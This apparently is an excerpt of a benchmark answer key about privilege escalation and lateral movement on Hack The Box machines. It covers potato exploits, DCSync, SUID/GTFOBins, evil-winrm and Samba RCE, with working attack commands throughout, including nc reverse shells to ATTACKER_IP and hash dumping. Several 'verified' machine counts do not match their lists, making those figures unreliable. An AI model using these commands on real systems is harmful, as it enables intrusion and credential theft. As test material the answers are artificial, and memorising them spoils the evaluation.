- **Question:** *How is SeImpersonatePrivilege abused using JuicyPotato or PrintSpoofer on Windows machines?*
 - **Type:** Specific Mechanistic & Target
 - **Derivation Command:** `grep -iIE "juicypotato|printspoofer|roguepotato|godpotato" raw/htb-*.md`
 - **Ground-Truth Machines (13 verified):** `htb-bruno`, `htb-cereal`, `htb-conceal`, `htb-fighter`, `htb-json`, `htb-mirage`, `htb-persp`, `htb-pivotapi`, `htb-rebound`, `htb-scrambled`, `htb-shibuya`, `htb-tally`, `htb-worker`
 - **Hand-Derived Canonical Answer:**
 - **Privilege & Vulnerability Mechanics:**
 - Service accounts (IIS `APPPool\DefaultAppPool`, `LOCAL SERVICE`, `NETWORK SERVICE`) possess `SeImpersonatePrivilege` ("Impersonate a client after authentication").
 - This privilege allows the account to create processes using the security token of any client that authenticates to it.
 - **JuicyPotato (DCOM / OXID Coercion):**
 - Triggers the BITS or DCOM subsystem to connect to a local rogue listener by abusing `CoGetInstanceFromFile` with specific CLSIDs.
 - Forces NTLM authentication to local port 1337; once the `NT AUTHORITY\SYSTEM` token is received, calls `CreateProcessWithTokenW` or `CreateProcessAsUserW` to spawn an elevated shell.
 - *Mitigated on Windows Server 2019 / Win 10 1809+ where DCOM reflection is blocked.*
 - **PrintSpoofer (Named Pipe Coercion):**
 - Abuses the Windows Print Spooler service (`spoolsv.exe`).
 - Creates a named pipe (e.g. `\\.\pipe\test\pipe\spoolss`) and calls `RpcOpenPrinter` / `RpcRemoteFindFirstPrinterChangeNotificationEx` to force the Spooler to connect back to the pipe.
 - Because the Spooler runs as `SYSTEM`, connecting to the named pipe exposes a `SYSTEM` impersonation token. PrintSpoofer calls `ImpersonateNamedPipeClient()` followed by `CreateProcessWithTokenW`.
 - **CLI Commands:**
 - `JuicyPotato.exe -l 1337 -p c:\rev.bat -t * -c "{499c0713-dd4c-42a1-a5aa-c032d109bb82}"`
 - `PrintSpoofer.exe -i -c "cmd.exe /c whoami" -> returns nt authority\system.`
 - **Demonstrated on:** Bruno, PivotAPI, Tally, Worker, Cereal.
-

Q12: DCSync Attack in Active Directory

- **Question:** Which HTB machines demonstrate the DCSync attack and how does it work?
- **Type:** Specific Mechanistic & Target
- **Derivation Command:** `grep -iIE "dcsync|ds-replication-get-changes" raw/htb-*.md`
- **Ground-Truth Machines (18 verified):** `htb-administrator`, `htb-blazorized`, `htb-darkcorp`, `htb-delegate`, `htb-forest`, `htb-g`, `htb-host`, `htb-hathor`, `htb-mirage`, `htb-mist`, `htb-phantom`, `htb-retrotwo`, `htb-rustykey`, `htb-sauna`, `htb-scepter`, `htb-signed`, `htb-sizzle`, `htb-university`, `htb-vintage`
- **Hand-Derived Canonical Answer:**
 - **Protocol Mechanism:**
 - Active Directory Domain Controllers synchronize directory data with each other using the Directory Replication Service (DRS) Remote Protocol (MS-DRSR).
 - The client sends an RPC request calling the `IDL_DRSGetNCChanges` method to replicate objects from the Active Directory naming context partition.
 - DCSync simulates the network behavior of a legitimate Domain Controller. An attacker possessing specific directory replication rights requests password hashes for arbitrary domain accounts (including `krbtgt` and `Administrator`) without having code execution on the Domain Controller itself.
 - **Required Privileges:**
 - `DS-Replication-Get-Changes` (Extended Right)
 - `DS-Replication-Get-Changes-All` (Extended Right)
 - `DS-Replication-Get-Changes-In-Filtered-Set` (Optional, read-only DCs)
 - *Default holders:* Members of `Domain Admins`, `Enterprise Admins`, and `Domain Controllers`. Can also be granted via ACL misconfigurations (`WriteDacl` / `GenericAll` over domain head).
 - **Execution Commands:**
 - *Impacket:* `secretsdump.py domain/user:password@DC_IP -just-dc-ntlm`
 - *Specific user dump:* `secretsdump.py domain/user:password@DC_IP -just-dc-user krbtgt`
 - *Mimikatz:* `lsadump::dcsync /domain:domain.local /user:krbtgt`
 - **Demonstrated on:**
 - **Forest:** Compromised user added to Exchange Windows Permissions group, granting `WriteDacl` over domain root, which was leveraged to grant DCSync rights.
 - **Sauna:** Compromised account had replication permissions, allowing direct extraction of Domain Admin and `krbtgt` hashes.

Q13: SUID Binaries and GTFOBins for Linux Privesc

- **Question:** *How are SUID binaries and GTFOBins abused for Linux privilege escalation across HTB machines?*
- **Type:** Specific Mechanistic & Target
- **Derivation Command:** `grep -iE "find / -perm -4000|gtfobins" raw/htb-*.md`
- **Ground-Truth Machines (30 verified):** `htb-academy`, `htb-awkward`, `htb-chaos`, `htb-conversor`, `htb-cozyhosting`, `htb-devvortex`, `htb-dump`, `htb-earlyaccess`, `htb-facts`, `htb-flujab`, `htb-jail`, `htb-jarvis`, `htb-jewel`, `htb-joker`, `htb-knife`, `htb-luanna`, `htb-mango`, `htb-meta`, `htb-monitorstwo`, `htb-nunchucks`, `htb-openadmin`, `htb-paper`, `htb-schooled`, `htb-shoppy`, `htb-sunday`, `htb-traverxec`, `htb-unrested`, `htb-updown`, `htb-writer`, `htb-zero`
- **Hand-Derived Canonical Answer:**
 - **SUID Concept & Enumeration:**
 - SUID (Set User ID) is a Linux file permission bit (`4000`) that instructs the kernel to run the executable with the privileges of the file owner (typically root) rather than the invoking user.
 - Enumeration command: `find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;`
 - **GTFOBins Exploitation Vectors:**
 1. *Direct Shell Spawn:* Standard binaries with shell-escape functionality run as root.
 - `python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'` (needs `-p` to retain effective UID)
 - `vim -c '!/bin/sh'`
 - `find . -exec /bin/sh -p \; -quit`
 2. *Arbitrary File Read/Write:* Binaries that manipulate files without safety checks:
 - `base64 /etc/shadow | base64 --decode`
 - `cp /bin/sh /tmp/sh && chmod +s /tmp/sh`
 - Appending root user to `/etc/passwd`: `openssl passwd -1 -salt evil password -> write evil:$1$evil$...:0:0:root:/root:/bin/bash`
 3. *Custom SUID Binaries & Insecure Calls:*
 - Binaries compiling `system("cat /var/log/file")` without an absolute path. Exploited by creating an executable `/tmp/cat` and modifying PATH: `export PATH=/tmp:$PATH`.
 - **Machine Highlights:**
 - **Jarvis:** SUID binary `/bin/systemctl` abused to load a custom `.service` file running a reverse shell as root.
 - **Knife:** Custom sudo / SUID access to `knife` (Chef utility) abused via `knife exec -E 'exec "/bin/sh"'`.

Q14: WinRM (evil-winrm) Shell Access

- **Question:** Which HTB machines used WinRM (evil-winrm) for shell access and in what context?
- **Type:** Specific Mechanistic & Target
- **Derivation Command:** `grep -iIE "evil-winrm" raw/htb-*.md`
- **Ground-Truth Machines (68 verified):** htb-absolute, htb-administrator, htb-anubis, htb-apt, htb-arkham, htb-atom, htb-authority, htb-axlle, htb-baby, htb-babytwo, htb-blackfield, htb-blazorized, htb-cascade, htb-cerberus, htb-certified, htb-cicada, htb-coder, htb-compiled, htb-darkcorp, htb-darkzero, htb-delegate, htb-driver, htb-eighteen, htb-escape, htb-escapetwo, htb-fluffy, htb-forest, htb-freelancer, htb-fuse, htb-ghost, htb-hancliffe, htb-hathor, htb-haze, htb-heist, htb-infiltrator, htb-jab, htb-jobtwo, htb-mailing, htb-manager, htb-mirage, htb-mist, htb-monteverde, htb-multimaster, htb-nanocorp, htb-object, htb-office, htb-outdated, htb-overwatch, htb-phantom, htb-pivotapi, htb-puppy, htb-re, htb-rebound, htb-redelegate, htb-reel2, htb-remote, htb-resolute, htb-retro, htb-return, htb-rustykey, htb-sauna, htb-scepter, htb-sekhmet, htb-sendai, htb-shibuya, htb-signed, htb-streamio, htb-support, htb-time-lapse, htb-tombwatcher, htb-university, htb-vintage, htb-voleur, htb-worker
- **Hand-Derived Canonical Answer:**
 - **Protocol & Prerequisites:**
 - Windows Remote Management (WinRM) is Microsoft's implementation of WS-Management protocol running over SOAP/HTTP (port 5985) or HTTPS (port 5986).
 - To obtain a shell via `evil-winrm`, the target user must have remote access rights (member of local `Remote Management Users` group or local/domain `Administrators`).
 - **Authentication Contexts & CLI Syntax:**
 1. *Plaintext Password:* `evil-winrm -i 10.10.10.X -u username -p 'Password123'`
 2. *Pass-the-Hash (NTLM):* `evil-winrm -i 10.10.10.X -u username -H 31d6cfe0d16ae931b73c59d7e0c089c0`
 3. *PKI Certificate (Post-ADCS):* `evil-winrm -i 10.10.10.X -c cert.pem -k key.pem -S`
 - **Common Usage Patterns on HTB:**
 - Foothold login after cracking AS-REP / Kerberoast hashes (e.g. **Forest**).
 - Lateral movement using passwords recovered from LDAP descriptions or config files (e.g. **Resolute**, where a default password found in user description logged into `ryan`).
 - Domain Admin root shell after ADCS exploitation or DCSync hash dumping (e.g. **Certified, Manager**).

Q15: Samba Vulnerabilities Exploited for Remote Code Execution

- **Question:** How was a Samba vulnerability exploited for remote code execution across HTB machines?
- **Type:** Specific Mechanistic & Target
- **Derivation Command:** `grep -iIE "cve-2007-2447|cve-2017-7494|smbacry|username map script" raw/htb-*.md`
- **Ground-Truth Machines (25 verified):** htb-abducted, htb-bamboo, htb-brainfuck, htb-calamity, htb-falafel, htb-frolic, htb-gofer, htb-jail, htb-kotarak, htb-lame, htb-lazy, htb-node, htb-overgraph, htb-puppy, htb-ropetwo, htb-sekhmet, htb-smasher2, htb-sneaky, htb-sniper, htb-tenten, htb-traceback, htb-writer, htb-ypuffy, htb-zetta, htb-zipper
- **Hand-Derived Canonical Answer:**
 1. **CVE-2007-2447 (Samba 3.0.20 "Username Map Script" RCE):**
 - *Mechanism:* In Samba 3.0.0 through 3.0.25rc3, when the `username map script` configuration parameter is enabled in `smb.conf`, Samba passes unfiltered MS-RPC username parameters to a system shell command.
 - *Trigger:* Sending a username containing shell meta-characters (e.g. `nohup mkfifo /tmp/p; nc attacker_ip port 0</tmp/p | /bin/sh >/tmp/p 2>&1;`) during SMB session setup executes the command with root daemon privileges.
 - *Tool Commands:*
 - `smbclient //target/tmp -U "/"= nohup nc -e /bin/sh ATTACKER_IP PORT "`
 - Metasploit: `exploit/multi/samba/usermap_script`
 - *Demonstrated on:* **Lame** (classic HTB machine where port 139/445 yields immediate root).
 2. **CVE-2017-7494 (SambaCry):**
 - *Mechanism:* Writable SMB share allows remote upload of a malicious shared library (`.so`). The client then requests the SMB server to execute the pipe using a relative path, forcing the server to load and execute the shared library as root.
 3. **Misconfigured SMB Shares (Anonymous Write -> Shell Upload):**
 - Writable web directories or cron paths mounted over SMB allowing users to drop PHP web shells or SSH keys directly.